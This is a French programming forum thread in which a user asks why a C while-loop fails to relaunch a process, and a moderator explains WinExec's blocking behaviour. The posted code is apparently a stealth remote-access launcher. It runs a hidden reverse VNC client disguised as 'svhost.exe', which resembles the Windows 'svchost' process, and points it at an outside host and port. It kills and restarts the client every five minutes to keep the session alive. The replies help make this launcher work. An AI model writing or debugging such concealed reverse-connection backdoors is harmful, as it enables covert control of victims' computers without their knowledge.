Boucle While, qui ne boucle pas ? ^o)

Résolu
cs_oshin Messages postés 50 Date d'inscription samedi 11 janvier 2003 Statut Membre Dernière intervention 8 août 2009 - 10 août 2008 à 17:33
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 - 10 août 2008 à 22:38
J'ai un petit soucis et je comprends vraiment pas d'ou ça peut venir.
J'ai un boucle while qui ne boucle pas... et du coup ne recommence pas:

#include <windows.h>

int main()
{

while(1) {
            
             WinExec("VncReverseHide\\svhost.exe -cucumefesse::9250 -run",SW_HIDE);
             Sleep(300000);
             WinExec("tskill svhost",SW_HIDE);
             }
             }

Et donc le probleme :

Lorsque je lance l'application, elle démarre bien svhost avec la ligne de commande, 300 secondes après, elle kill bien svhost... mais ne le relance pas...?

Je pige pas :o

Merci

4 réponses

racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
10 août 2008 à 20:20
Salut,
Le problème vient sûrement de tskill qui bloquerait WinExec(). Cette fonction est déconseillée car les applications Win32 devraient utiliser ShellExecute() ou CreateProcess().
3
cs_oshin Messages postés 50 Date d'inscription samedi 11 janvier 2003 Statut Membre Dernière intervention 8 août 2009
10 août 2008 à 21:16
Je vais essayer avec un shellexecute alorsxD
0
cs_oshin Messages postés 50 Date d'inscription samedi 11 janvier 2003 Statut Membre Dernière intervention 8 août 2009
10 août 2008 à 22:02
C'était bien ça le problème... merci (même si je comprends pas pourquoi..) XD
0
racpp Messages postés 1909 Date d'inscription vendredi 18 juin 2004 Statut Modérateur Dernière intervention 14 novembre 2014 17
10 août 2008 à 22:38
WinExec() est une vieille fonction héritée du monde 16 bits. Elle n'existe donc que pour compatibilité. Pour qu'elle retourne, le processus lancé doit appeler GetMessage(). Sinon, elle reste bloquée. Pour les applications Win32, ça ne poserait aucun problème car elles ont une boucle de messages utilisant GetMessage(). Les applications console quant à elles,  dépourvues de boucles de messages, bloqueraient la fonction WinExec(). Il semble que tskill() est dans ce cas.
0
Rejoignez-nous